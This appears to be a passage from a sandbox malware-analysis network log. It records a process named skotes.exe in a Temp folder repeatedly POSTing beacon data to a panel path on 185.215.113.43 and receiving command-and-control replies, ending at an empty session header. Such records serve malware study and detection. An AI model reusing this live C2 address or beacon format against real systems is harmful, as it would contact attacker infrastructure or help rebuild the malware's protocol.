Oct 31, 2024 04:17:27.335458994 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:17:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	58673	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:28.970304012 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 04:17:29.867645025 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:17:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	58674	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:31.389130116 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 04:17:32.319626093 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:17:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	58676	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:33.963756084 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	58677	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:35.494319916 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 04:17:36.432426929 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:17:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	58678	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:38.069869041 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 04:17:38.967081070 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:17:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	58679	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:40.487472057 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 04:17:41.418041945 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:17:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	58681	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:43.040575027 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 04:17:43.951828003 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:17:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	58682	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:45.478214979 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 04:17:46.382839918 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:17:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	58683	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:48.010751963 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 04:17:48.910101891 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:17:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	58689	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:50.428544998 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 04:17:51.349606991 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:17:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	58695	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:52.984100103 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 04:17:53.892913103 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:17:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	58696	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:55.417666912 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 04:17:56.342147112 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:17:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	58697	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:17:57.972480059 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 04:17:58.906167984 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:17:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	58698	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:18:00.425848007 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 04:18:01.355643034 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:18:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	58699	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:18:02.979959965 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 04:18:03.894419909 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:18:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	58701	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:18:05.414800882 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 04:18:06.354598045 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:18:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	58702	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:18:07.991031885 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 04:18:08.908060074 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:18:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	58703	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:18:10.423984051 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 04:18:11.332865000 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:18:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	58704	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:18:12.958324909 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 04:18:13.854176998 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:18:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	58705	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:18:15.372729063 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 04:18:16.304892063 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:18:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	58706	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:18:17.938786983 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 04:18:18.840657949 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:18:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	58707	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:18:20.360985994 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 04:18:21.255520105 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:18:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	58711	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:18:22.878488064 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 04:18:23.813463926 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:18:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	58712	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
